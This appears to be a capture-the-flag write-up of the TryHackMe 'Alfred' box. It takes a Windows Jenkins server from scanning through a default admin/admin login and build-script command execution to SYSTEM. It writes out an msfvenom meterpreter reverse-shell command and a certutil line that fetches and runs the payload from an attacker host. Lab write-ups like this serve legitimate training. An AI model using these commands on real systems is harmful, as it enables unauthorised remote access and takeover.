THM - Alfred

Intro
Without further ado, let’s get started and see what this box is made of!
Target
Recon
From the box logo and description we can discover that :
- Target runs Windows ;
- Target runs Jenkins.
Let’s go!
Enum
Let’s start a basic nmap
scan :
|
|
Unfortunately, nmap will complain that Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
.
No problem, let’s fire our scan a bit differently :
|
|
This time, it will work :
|
|
We discover the following :
- A web server running on port 80 : Microsoft IIS httpd 7.5 ;
- Another web server on port 8080 (probably Jenkins backend / admin area) : Jetty 9.4.z-SNAPSHOT ;
- RDP service running on port 3389.
Since we found a few web servers, I’ll fire nikto
and dirbuster
on them in order to see if we find anything interesting.
Our various scans and manually browsing confirmed that we are up against a Windows machine
running Jenkins
.
While our extra scans our running, we can search if any known vulnerability applies to the services we found. For this, I recommend using searchsploit
if you want to stay in the CLI, or search engines for a more graphical approach.
Unfortunately, we don’t find anything relevant nor obvious. Let’s see how we can attack this box.
Exploitation
Since we haven’t found anything huge, we’ll try to login to the admin panel using default and / or well known credentials. This is a brute force attack!
It happens, that we are lucky, some lazy admin used admin
// admin
as credentials! It was my first try, I didn’t even had to fire Burp Intruder
, great!
From here, I am thinking there may be a way to upload a malicious file from the admin panel, in order to gain access to the system (spoiler: nope).
We also found one user and it’s password : maybe this is a system user (which I doubt).
By browsing the Jenkins area (yes, recon again!), we notice the following :
- Jenkins version : Jenkins 2.190.1 core and libraries
then :
|
|
It shows us that a build script is running and that it is just running the whoami
command as user bruce
. This is not huge, but it migh give us a shell as Bruce, and probably its flag too!
So, let’s try to modify the build script in order to get Bruce’s flag, that should be easy.
By simple browsing into the project and configuring the project, we’ll try to get the flag like so :
Now, we build it and check the logs :
And it worked! As I spoiled, I was wrong. No file upload from here, but an indirect shell!
PrivEsc
Ok, now that we have confirmed that we can run commands as Bruce on the system, we have to think of a way to get a shell. This part shouldn’t be hard : I am thinking like downloading a malicious shell then running it via the build system. However, that alone, won’t help us much… it will make it easier to have a direct shell, but it won’t suffice to get full control.
However, one easy solution would be to get a meterpreter shell and use msfconsole…
Before going any further, I will run another build doing a dir "C:\"
. I just want to check the system architecture (be sure check my cheatsheets if you are lost during a phase). It might prove useful later on, if I want to craft something with msfvenom
.
Since we know our arch is 64 bits, let’s craft our shell :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$attacker_ip LPORT=10443 -f exe > shell.exe
Now we run a basic HTTP server from our attacking machine to host the shell :
sudo python2 -m SimpleHTTPServer 80
On our target machine, we edit the build script so that :
- it downloads our malicious file :
certutil -urlcache -f http://$attacker_ip/shell.exe C:\Users\Bruce\Desktop\shell.exe
- it runs it :
C:\Users\Bruce\Desktop\shell.exe
Saving the changes, and back on our attacking machine, we run msfconsole
and use exploit/multi/handler
, set the correct options. In our case, we listen on port 10443.
Back again on the Jenkins' machine, hit the build button, a meterprter shell as Bruce should now open :
Thanks to power of metasploit, a simple getsystem
will give us root:
NB : this is where MetaSploit is clearly TOO powerful! I gained SYSTEM
, using only one command… I have no idea what went on behind the scenes! I clearly need to look for a manual way to do that. But this will be for another time.
Since we are “root”, let’s search for the flag :
|
|
|
|
then :
|
|
Outro
This was a fun box, pretty straight forward, where a simple misconfiguration, led to a fully remote access… again!